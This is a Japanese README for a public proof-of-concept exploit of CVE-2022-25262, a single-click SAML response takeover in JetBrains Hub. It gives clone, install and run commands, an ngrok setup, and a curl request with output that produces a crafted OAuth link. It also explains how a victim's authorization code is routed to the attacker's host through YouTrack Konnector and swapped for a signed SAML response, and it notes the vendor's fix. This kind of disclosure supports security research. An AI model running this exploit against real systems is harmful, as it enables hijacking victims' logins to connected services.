
CVE-2022-25262 / JetBrains HubのシングルクリックSAMLレスポンス乗っ取りのPoC + 脆弱性詳細
CVE-2022-25262 の PoC + 脆弱性詳細 | JetBrains Hub シングルクリック SAML レスポンス乗っ取り
インストールと実行:
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] [-p P]
optional arguments:
-h, --help show this help message and exit
-p P Uvicorn port
# If you run the exploit on the local machine, you might need to use Ngrok or alternatives.
$ ngrok http 8000
使用方法:
クエリパラメータ:
エクスプロイトリンクの取得:
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"
* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
<
* Connection #0 to host {exploit-host-ip} left intact
{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}
デモ:
この脆弱性は2つの部分から構成されます:
SAML IdP は OAuth の拡張として機能します。特定のユーザーが特定のサービスプロバイダーにログインしたい場合、そのユーザーは OAuth 認可コードグラントフローを通過し (リクエスト1〜2)、コードを取得するとコードを Hub に返します (リクエスト3)。Hub はコードに関連付けられたユーザー情報を取得し、サービスに対して署名済み SAML レスポンスを発行します。SAML IdP は統合のために Hub OAuth2 クライアント(client_id=0-0-0-0-0)を使用しますが、コードがどの OAuth クライアントに代わって発行されたかはチェックしません。ここで重要なのは、コードが有効かどうかだけです。攻撃者が Hub に登録されている任意の OAuth クライアントから認可コードを奪う方法を見つけた場合、SAML レスポンスの乗っ取りにつながる可能性があります。

YouTrack Konnector は、特定の YouTrack インスタンスを Slack ボットに接続できるファーストパーティサービスです。このサービスは YouTrack の URL アドレスと、Konnector OAuth クライアントの ID およびシークレットを (リクエスト1) 受け取ります。次に、いくつかの API エンドポイントを呼び出して、指定された URL が有効な YouTrack を指していることを検証しようとします ("ハンドシェイク" リクエスト2〜3)。すべてがうまくいけば、Konnector は特定のユーザーが OAuth コードグラントフローを続行できるようにする URL を (レスポンス1) 返します。この URL には、Konnector が OAuth 認可コードを適切なハンドラー(Hub インスタンス)にルーティングするのに役立つ "state" クエリパラメータが含まれています。 攻撃者は "ハンドシェイク" に必要なエンドポイントを備えたホストを作成し、攻撃者のホストを指す "state" パラメータを取得できます。その後、攻撃者は OAuth 認可 URL を作成して被害者に送信できます。 被害者がリンクをクリックして OAuth フローを完了すると(被害者は Hub に有効なセッションを持っている必要があります)、Konnector サービスはコードを受信し、攻撃者のホストに送信します (リクエスト4〜6)。

YouTrack チームは、「OAuth2 -> SAML」交換プロセス中に「JetBrains Hub Service」OAuth クライアントに対して発行された認可コードの使用を許可するチェックを追加しました。その結果、「YouTrack Konnector」OAuth クライアントに対して発行された認可コードを交換する方法はありません。
| Name | Description | Required |
|---|
| hub_url | ターゲット Hub インスタンスの URL | ✅ |
| issuer | SAML 発行者 | ✅ |
| acs_url | アサーションコンシューマサービス URL | ✅ |
| youtrack_url | Hub に接続されている YouTrack インスタンスの URL(ゲストユーザーが無効の場合に必須) | ❔ |